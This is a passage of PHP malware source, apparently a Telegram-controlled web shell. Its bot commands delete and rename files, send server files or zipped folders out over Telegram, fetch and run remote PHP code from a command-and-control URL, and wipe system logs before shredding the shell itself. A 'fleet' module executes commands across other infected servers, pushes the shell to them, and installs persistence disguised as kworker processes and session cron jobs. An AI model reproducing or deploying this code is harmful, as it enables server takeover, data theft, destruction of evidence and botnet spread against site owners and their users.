      $parts=explode("\n",$data);
      $target=trim($parts[0]??"");
      $ts=(int)($parts[1]??0);
      if(!$target||time()-$ts>60)wn_send($BOT,$CHAT,"[X] expired");
      elseif(!file_exists($target))wn_send($BOT,$CHAT,"[X] not found");
      else{
        $ok=(is_dir($target)&&!is_link($target))?wn_rmdir_recursive($target):@unlink($target);
        wn_send($BOT,$CHAT,$ok?"[OK] deleted":"[X] failed");
      }
    }
  }

  // /rm_cancel
  elseif($lc==="/rm_cancel"){
    @unlink(wn_p("rm_pending"));
    wn_send($BOT,$CHAT,"[OK] cancelled");
  }

  // /mv
  elseif(preg_match("#^/mv\\s+(\\S+)\\s+(\\S+)#is",$text,$m)){
    $old=trim($m[1]);$new=trim($m[2]);
    if(!file_exists($old)){wn_send($BOT,$CHAT,"[X] source missing");}
    elseif(file_exists($new)){wn_send($BOT,$CHAT,"[X] target exists");}
    else{
      $dir=dirname($new);
      if(!is_dir($dir))@mkdir($dir,0755,true);
      if(@rename($old,$new))wn_send($BOT,$CHAT,"[OK] renamed");
      else wn_send($BOT,$CHAT,"[X] failed");
    }
  }

  // /mkdir
  elseif(preg_match("#^/mkdir\\s+(.+)#is",$text,$m)){
    $target=trim($m[1]);
    if(is_dir($target)){wn_send($BOT,$CHAT,"[i] exists");}
    elseif(file_exists($target)){wn_send($BOT,$CHAT,"[X] file exists");}
    else wn_send($BOT,$CHAT,@mkdir($target,0755,true)?"[OK] created":"[X] failed");
  }

  // /get
  elseif(preg_match("#^/get\\s+(.+)#is",$text,$m)){
    $targetPath=trim($m[1]);
    if(!file_exists($targetPath)){wn_send($BOT,$CHAT,"[X] not found");}
    elseif(is_dir($targetPath)){
      $zipBin=trim(wn_sh("command -v zip 2>/dev/null"));
      if($zipBin===""){wn_send($BOT,$CHAT,"[X] zip unavailable");}
      else{
        $zipPath=sys_get_temp_dir()."/gd_".time().".zip";
        @_c("se","cd ".escapeshellarg(dirname($targetPath))." && zip -qr ".escapeshellarg($zipPath)." ".escapeshellarg(basename($targetPath))." 2>/dev/null");
        if(file_exists($zipPath)&&filesize($zipPath)>0){
          wn_send_document($BOT,$CHAT,$zipPath,"ZIP: ".basename($targetPath));
          @unlink($zipPath);
        }else wn_send($BOT,$CHAT,"[X] zip fail");
      }
    }else{
      $sz=@filesize($targetPath);
      if($sz===false||$sz<=0)wn_send($BOT,$CHAT,"[X] empty");
      elseif($sz>50*1024*1024)wn_send($BOT,$CHAT,"[X] too large");
      else wn_send_document($BOT,$CHAT,$targetPath,basename($targetPath));
    }
  }

  // /mem
  elseif(preg_match("#^/mem\\s+(\\S+)#i",$text,$m)){
    $c2Url=trim($m[1]);
    if(!preg_match("#^https?://#i",$c2Url)){wn_send($BOT,$CHAT,"[X] invalid");}
    else{
      wn_send($BOT,$CHAT,"[MEM] fetch...");
      $code=@_c("fgc",$c2Url,false,stream_context_create(array("http"=>array("timeout"=>20,"header"=>"User-Agent: Mozilla/5.0\r\n"),"ssl"=>array("verify_peer"=>false,"verify_peer_name"=>false))));
      if($code===false||strlen($code)<100)wn_send($BOT,$CHAT,"[X] fetch fail");
      else{
        $dirs=array();
        if(is_dir("/dev/shm")&&is_writable("/dev/shm"))$dirs[]="/dev/shm";
        if(is_dir(sys_get_temp_dir())&&is_writable(sys_get_temp_dir()))$dirs[]=sys_get_temp_dir();
        $executed=false;
        foreach($dirs as $dir){
          $f=$dir."/.".bin2hex(random_bytes(10)).".php";
          if(@_c("fpc",$f,$code)===false)continue;
          @chmod($f,0600);
          try{include $f;}catch(Throwable $e){}
          @unlink($f);
          $executed=true;
          break;
        }
        wn_send($BOT,$CHAT,$executed?"[MEM] ok":"[X] fail");
      }
    }
  }

  // /debug
  elseif($lc==="/debug"){
    $log=@_c("fgc",sys_get_temp_dir()."/wn_watcher_".date("Ymd").".log");
    if($log===false||$log===""){wn_send($BOT,$CHAT,"[DEBUG] no log");}
    else{
      if(strlen($log)>3500)$log=substr($log,-3500);
      wn_send($BOT,$CHAT,"[DEBUG]\n\n".htmlspecialchars($log,ENT_QUOTES,"UTF-8"));
    }
  }

  // /selfdestruct
  elseif($lc==="/selfdestruct"||$lc==="/sd"){
    wn_send($BOT,$CHAT,"SELF DESTRUCT\n\n/sd_confirm 60s");
    _c("fpc",wn_p("sd_pending"),(string)(time()+60));
  }

  // /sd_confirm
  elseif($lc==="/sd_confirm"){
    $pf=wn_p("sd_pending");
    $exp=(int)_c("fgc",$pf);
    if($exp<=0||time()>$exp){wn_send($BOT,$CHAT,"[X] expired");}
    else{
      @unlink($pf);
      wn_send($BOT,$CHAT,"Executing...");
      foreach(array("/var/log","/var/log/apache2","/var/log/nginx","/var/log/httpd") as $d){
        if(is_dir($d))@_c("se","rm -rf ".escapeshellarg($d)."/* 2>/dev/null");
      }
      foreach($BACKUPS as $bk)@unlink($bk);
      foreach($REPLICA_BACKUPS as $bk)@unlink($bk);
      foreach($MAIN_WATCHERS as $w)@unlink($w);
      foreach($REPLICA_WATCHERS as $w)@unlink($w);
      @unlink($SHELL_PATH);
      $self=__FILE__;
      @_c("se","shred -fuz ".escapeshellarg($self)." 2>/dev/null");
      @unlink($self);
      wn_send($BOT,$CHAT,"SELF DESTRUCTED");
    }
  }

  // /fleet (full 13)
  elseif($lc==="/fleet"||preg_match("#^/fleet\\s+#i",$text)){
    $fa=preg_match("#^/fleet\\s+(.+)#i",$text,$fm)?trim($fm[1]):"";
    $fp=preg_split("/\\s+/",$fa);
    $fs=strtolower($fp[0]??"status");
    $fk=_fl_key();
    $sid=_fl_server_id();

    if($fs==="status"||$fs===""){
      $servers=_fl_load();
      $keySt=($fk==="")?"NOT SET":("SET (".substr($fk,0,8)."...)");
      $msg="FLEET STATUS\n\nServer ID: $sid\nFleet Key: $keySt\nPeers: ".count($servers)."\n\n";
      foreach($servers as $i=>$s){
        $st=$s["last_status"]??"never";
        $icon=($st==="ok")?"[OK]":(($st==="unreachable")?"[X]":"[?]");
        $msg.=($i+1).". $icon ".($s["label"]??"?")."\n   ".($s["url"]??"?")."\n";
      }
      wn_send($BOT,$CHAT,$msg);
    }
    elseif($fs==="key"){
      $what=strtolower($fp[1]??"show");
      if($what==="gen"){$nk=_fl_key_gen();_fl_key_set($nk);wn_send($BOT,$CHAT,"[FLEET] New key:\n\n$nk\n\nNext: /fleet add <url> [label]");}
      elseif($what==="set"){$nk=$fp[2]??"";if(strlen($nk)<16){wn_send($BOT,$CHAT,"[X] key >= 16 chars");return;}_fl_key_set($nk);wn_send($BOT,$CHAT,"[FLEET] Key set");}
      elseif($what==="rotate"){
        $nk=_fl_key_gen();_fl_key_set($nk);
        $servers=_fl_load();$ok=0;$fail=0;
        foreach($servers as $s){
          $r=_fl_post($s["url"]??"","set_fleet_key",array("new_key"=>$nk));
          if(!empty($r["key_rotated"]))$ok++;else $fail++;
        }
        wn_send($BOT,$CHAT,"[FLEET] Rotated\n\nNew: $nk\n\nPush: OK $ok / FAIL $fail");
      }
      else wn_send($BOT,$CHAT,$fk===""?"[FLEET] NOT SET\n/fleet key gen":"[FLEET] Key: ".substr($fk,0,8)."...");
    }
    elseif($fs==="list"||$fs==="ls"){
      $servers=_fl_load();
      if(empty($servers)){wn_send($BOT,$CHAT,"[FLEET] no peers\n\n/fleet add <url> [label]");}
      else{
        $msg="FLEET LIST (".count($servers).")\n\n";
        foreach($servers as $i=>$s){
          $st=$s["last_status"]??"never";
          $seen=!empty($s["last_seen"])?date("m-d H:i",(int)$s["last_seen"]):"-";
          $msg.=($i+1).". ".($s["label"]??"?")."\n   id: ".($s["id"]??"?")."\n   url: ".($s["url"]??"?")."\n   last: $st @ $seen\n\n";
        }
        if(strlen($msg)>4000)$msg=substr($msg,0,4000)."\n...";
        wn_send($BOT,$CHAT,$msg);
      }
    }
    elseif($fs==="add"){
      if($fk===""){wn_send($BOT,$CHAT,"[X] set key first: /fleet key gen");return;}
      $url=$fp[1]??"";
      if(!preg_match("#^https?://#",$url)){wn_send($BOT,$CHAT,"[X] Usage: /fleet add https://b.com/file.php [label]");return;}
      $label=trim(implode(" ",array_slice($fp,2)))?:(parse_url($url,PHP_URL_HOST)?:"server");
      $r=_fl_request($url,"ping");
      if(empty($r["pong"])){
        wn_send($BOT,$CHAT,"[FLEET] pinging $label, trying bootstrap...");
        $sig=hash_hmac("sha256","boot:".$fk,$BOT);
        $sep=(strpos($url,"?")===false)?"?":"&";
        $bootUrl=$url.$sep.http_build_query(array("wn_fleet_bootstrap"=>"1","key"=>$fk,"sig"=>$sig));
        $bootRes=trim((string)_fl_http("GET",$bootUrl,'',array(),20));
        if(strpos($bootRes,"ok:")===0)usleep(500000);
        $r=_fl_request($url,"ping");
      }
      if(!empty($r["pong"])){
        $servers=_fl_load();
        $rsid=$r["server_id"]??("srv_".substr(md5($url),0,8));
        $servers=array_values(array_filter($servers,function($s)use($url){return ($s["url"]??"")!==$url;}));
        $servers[]=array("id"=>$rsid,"url"=>$url,"label"=>$label,"added_at"=>time(),"last_status"=>"ok","last_seen"=>time());
        _fl_save($servers);
        wn_send($BOT,$CHAT,"[FLEET] Added: $label\nID: $rsid\nTotal: ".count($servers));
      }else wn_send($BOT,$CHAT,"[X] unreachable: ".($r["error"]??"?"));
    }
    elseif($fs==="rm"||$fs==="remove"){
      $t=$fp[1]??"";
      if($t===""){wn_send($BOT,$CHAT,"[X] /fleet rm <id|url|label>");return;}
      $servers=_fl_load();$before=count($servers);
      $servers=array_values(array_filter($servers,function($s)use($t){return ($s["id"]??"")!==$t&&($s["url"]??"")!==$t&&($s["label"]??"")!==$t;}));
      _fl_save($servers);
      wn_send($BOT,$CHAT,"[FLEET] Removed ".($before-count($servers)).", remaining ".count($servers));
    }
    elseif($fs==="ping"){
      $servers=_fl_load();
      if(empty($servers)){wn_send($BOT,$CHAT,"[FLEET] no peers");}
      else{
        $msg="FLEET PING\n\n";$updated=array();
        foreach($servers as $s){
          $r=_fl_request($s["url"]??"","ping",array(),15);
          if(!empty($r["pong"])){$s["last_status"]="ok";$s["last_seen"]=time();$msg.="OK ".($s["label"]??"?")." PHP ".($r["php"]??"?")."\n";}
          else{$s["last_status"]="unreachable";$msg.="FAIL ".($s["label"]??"?")." -> ".($r["error"]??"?")."\n";}
          $updated[]=$s;
        }
        _fl_save($updated);
        wn_send($BOT,$CHAT,$msg);
      }
    }
    elseif($fs==="install"){
      $t=$fp[1]??"";
      if($t===""){wn_send($BOT,$CHAT,"[X] /fleet install <label>");return;}
      $servers=_fl_load();$s=null;
      foreach($servers as $sv)if(($sv["id"]??"")===$t||($sv["label"]??"")===$t||($sv["url"]??"")===$t){$s=$sv;break;}
      if(!$s){wn_send($BOT,$CHAT,"[X] not found: $t");}
      else{
        wn_send($BOT,$CHAT,"[FLEET] installing on ".($s["label"]??"?")."...");
        $r=_fl_post($s["url"]??"","install_slave",array(),120);
        if(!empty($r["install"]["status"])&&$r["install"]["status"]==="success"){
          $L=$r["install"]["layers"]??array();
          wn_send($BOT,$CHAT,"[FLEET] installed: ".($s["label"]??"?")."\n\nWatcher: ".($r["install"]["watcher_count"]??0)
            ."\nRing: ".(!empty($L["ring_daemon"])?"OK":"FAIL")
            ."\nDaemon: ".(!empty($L["daemon"])?"OK":"FAIL")
            ."\nWatchdog: ".(!empty($L["watchdog"])?"OK":"FAIL")
            ."\nP2P: ".(!empty($L["fleet_p2p"])?"OK":"SKIP"));
        }else wn_send($BOT,$CHAT,"[FLEET] install failed: ".json_encode($r["install"]??$r));
      }
    }
    elseif($fs==="uninstall"){
      $t=$fp[1]??"";
      if($t===""){wn_send($BOT,$CHAT,"[X] /fleet uninstall <label>");return;}
      $servers=_fl_load();$s=null;
      foreach($servers as $sv)if(($sv["id"]??"")===$t||($sv["label"]??"")===$t||($sv["url"]??"")===$t){$s=$sv;break;}
      if(!$s){wn_send($BOT,$CHAT,"[X] not found: $t");}
      else{
        wn_send($BOT,$CHAT,"[FLEET] uninstalling ".($s["label"]??"?")."...");
        $r=_fl_post($s["url"]??"","uninstall",array(),60);
        if(isset($r["uninstall"]))wn_send($BOT,$CHAT,"[FLEET] ".(($r["uninstall"]["status"]??"")==="success"?"OK: ".($r["uninstall"]["message"]??""):"FAIL: ".($r["uninstall"]["message"]??"")));
        else wn_send($BOT,$CHAT,"[FLEET] FAIL: ".($r["error"]??"?"));
      }
    }
    elseif($fs==="exec"){
      $cmd=trim(substr((string)$text,strlen("/fleet exec")));
      if($cmd===""){wn_send($BOT,$CHAT,"[X] /fleet exec <cmd>");return;}
      $servers=_fl_load();
      if(empty($servers)){wn_send($BOT,$CHAT,"[FLEET] no peers");}
      else{
        $msg="FLEET EXEC\n$ $cmd\n\n";
        foreach($servers as $s){
          $r=_fl_request($s["url"]??"","exec",array("cmd"=>$cmd),30);
          $msg.="-- ".($s["label"]??"?")." --\n";
          if(isset($r["output"])){$o=(string)$r["output"];if(strlen($o)>500)$o=substr($o,0,500)."...";$msg.=$o."\n\n";}
          else $msg.="FAIL ".($r["error"]??"?")."\n\n";
        }
        wn_send($BOT,$CHAT,$msg);
      }
    }
    elseif($fs==="cmd"){
      $t=$fp[1]??"";
      if($t===""){wn_send($BOT,$CHAT,"[X] /fleet cmd <label> <cmd>");return;}
      $cmd=trim(substr((string)$text,strlen("/fleet cmd ".$t)));
      if($cmd===""){wn_send($BOT,$CHAT,"[X] missing command");return;}
      $servers=_fl_load();$s=null;
      foreach($servers as $sv)if(($sv["id"]??"")===$t||($sv["label"]??"")===$t||($sv["url"]??"")===$t){$s=$sv;break;}
      if(!$s){wn_send($BOT,$CHAT,"[X] not found: $t");}
      else{
        $r=_fl_request($s["url"]??"","exec",array("cmd"=>$cmd),30);
        if(isset($r["output"])){$out=(string)$r["output"];if(strlen($out)>3500)$out=substr($out,0,3500)."\n...";wn_send($BOT,$CHAT,"[FLEET CMD: ".($s["label"]??"?")."]\n$ $cmd\n\n$out");}
        else wn_send($BOT,$CHAT,"[X] ".($r["error"]??"?"));
      }
    }
    elseif($fs==="deploy"){
      $servers=_fl_load();
      if(empty($servers)){wn_send($BOT,$CHAT,"[FLEET] no peers");}
      else{
        $raw=@_c("fgc",$SHELL_PATH);
        if($raw===false||strlen($raw)<500){wn_send($BOT,$CHAT,"[X] cannot read shell");return;}
        $b64=_c("b64e",$raw);
        wn_send($BOT,$CHAT,"[FLEET] deploying ".strlen($raw)."b to ".count($servers)."...");
        $ok=0;$fail=0;$details="";
        foreach($servers as $s){
          $r=_fl_post($s["url"]??"","deploy_module",array("module_b64"=>$b64),90);
          if(!empty($r["deployed"])){$ok++;$details.="OK ".($s["label"]??"?")." (".($r["size"]??0)."b)\n";}
          else{$fail++;$details.="FAIL ".($s["label"]??"?")." -> ".($r["error"]??"?")."\n";}
        }
        wn_send($BOT,$CHAT,"[FLEET] deploy:\n\n$details\nOK $ok / FAIL $fail");
      }
    }
    elseif($fs==="diag"){
      $t=$fp[1]??"";
      if($t===""){wn_send($BOT,$CHAT,"[X] /fleet diag <label>");return;}
      $servers=_fl_load();$s=null;
      foreach($servers as $sv)if(($sv["id"]??"")===$t||($sv["label"]??"")===$t||($sv["url"]??"")===$t){$s=$sv;break;}
      if(!$s){wn_send($BOT,$CHAT,"[X] not found: $t");}
      else{
        $url=$s["url"]??"";
        $lines=array("[DIAG: ".($s["label"]??"?")."]");
        $r=_fl_request($url,"ping",array(),30);
        $lines[]="ping: ".(!empty($r["pong"])?"OK (php ".($r["php"]??"?").")":"FAIL: ".($r["error"]??"?"));
        if(!empty($r["pong"])){
          $checks=array(
            "crontab"=>"command -v crontab 2>/dev/null || echo MISSING",
            "cron_entries"=>"crontab -l 2>/dev/null | grep -E 'php-sess|@reboot' | head -3 || echo NONE",
            "ring"=>"pgrep -f 'kworker/u8:' 2>/dev/null | wc -l",
            "daemon"=>"pgrep -f '[kworker/0:2H]' 2>/dev/null | head -1 || echo NONE",
            "watchdog"=>"pgrep -f '[kworker/1:1H]' 2>/dev/null | head -1 || echo NONE",
            "watchers"=>"pgrep -f 'php-sess-' 2>/dev/null | wc -l",
            "php_cli"=>"command -v php 2>/dev/null || echo MISSING"
          );
          foreach($checks as $name=>$cmd){
            $r2=_fl_request($url,"exec",array("cmd"=>$cmd),20);
            $out=isset($r2["output"])?trim((string)$r2["output"]):"(fail)";
            if($out==="")$out="(empty)";
            if(strlen($out)>150)$out=substr($out,0,150)."...";
            $lines[]="$name: $out";
          }
        }
        wn_send($BOT,$CHAT,implode("\n",$lines));
      }
    }
    else{
      wn_send($BOT,$CHAT,"FLEET:\n\n/fleet status\n/fleet list\n/fleet ping\n/fleet add <url> [label]\n/fleet rm <id|url|label>\n/fleet install <label>\n/fleet uninstall <label>\n/fleet exec <cmd>\n/fleet cmd <label> <cmd>\n/fleet deploy\n/fleet diag <label>\n/fleet key gen|set|rotate");
    }
  }

  // /help /start /menu
  elseif(in_array($lc,array("/help","/start","/menu"))){
    wn_send($BOT,$CHAT,"SYS\n\n/status /restore_self /list_backups /heal /heal_cron /replicate /guardian\n/hide /show\n/exec cmd /install /uninstall /debug /mem URL\n/get /path\nReply file + /put /path\n/ls /edit /rm /mv /mkdir\n/deadman on|off|action\n/integrity pause|resume|now|set_mtime|reset_mtime\n/fleet /fleet list\n/fleet key gen|set|rotate\n/fleet add <url> [label]\n/fleet install <label>\n/fleet exec <cmd> /fleet cmd <id> <cmd>\n/fleet deploy /fleet diag <label>\n/siluman on|off|key|rotate\n/selfdestruct -> /sd_confirm");
  }
}

/* ─────────── POLLING LOOP ─────────── */
$__seenFile=$__state."/.of_".substr(md5($BOT),0,8).".seen";
$__skey=hash("sha256","st:".$BOT,true);
$__lastOffset=0;
$__rawOff=wn_sr($__seenFile,$__skey);
if(is_string($__rawOff)&&ctype_digit($__rawOff))$__lastOffset=(int)$__rawOff;
$__liveFile=$__mem."/.lv_".substr(md5($BOT),0,8);
$__lastPeriodicCheck=0;
$__lastLiveTouch=0;
$__failCount=0;

$__me=wn_tg($TG_BASE.$BOT."/getMe",10);
$__meData=json_decode((string)$__me,true);
if(!is_array($__meData)||empty($__meData["ok"])){
  @_c("fpc",sys_get_temp_dir()."/wn_watcher_".date("Ymd").".log",date("c")." [BOT-INIT] FAIL".PHP_EOL,FILE_APPEND);
  sleep(60);
}else{
  @_c("fpc",sys_get_temp_dir()."/wn_watcher_".date("Ymd").".log",date("c")." [BOT-INIT] OK @".($__meData["result"]["username"]??"?").PHP_EOL,FILE_APPEND);
}

while(true){
  $__dyingFile=wn_p("dying");
  if(file_exists($__dyingFile)){
    $__dyingAt=(int)_c("fgc",$__dyingFile);
    if($__dyingAt>0&&(time()-$__dyingAt)<300)exit(0);
    @unlink($__dyingFile);
  }
  if(time()-$__lastPeriodicCheck>=5){
    try{
      wn_heartbeat_check();
      wn_selfheal_check();
      wn_deadman_check();
      wn_check_file_integrity();
      if(function_exists("wn_fleet_hb_check"))wn_fleet_hb_check();
    }catch(Throwable $__e){
      @_c("fpc",sys_get_temp_dir()."/wn_watcher_".date("Ymd").".log",date("c")." [PERIODIC-ERR] ".$__e->getMessage().PHP_EOL,FILE_APPEND);
    }
    $__lastPeriodicCheck=time();
  }
  if(time()-$__lastLiveTouch>=10){@touch($__liveFile);$__lastLiveTouch=time();}
  if(defined("WN_SLAVE_MODE")&&WN_SLAVE_MODE){sleep(30);continue;}

  $__lockFile=$__mem."/.poll_".substr(md5($BOT),0,8).".lock";
  if(file_exists($__lockFile)){
    $__lockPid=(int)@_c("fgc",$__lockFile);
    if($__lockPid>0){
      $__alive=trim((string)@_c("se","ps -p ".$__lockPid." -o pid= 2>/dev/null"));
      if($__alive==='')@unlink($__lockFile);
    }
  }
  $__lockFp=@fopen($__lockFile,'c');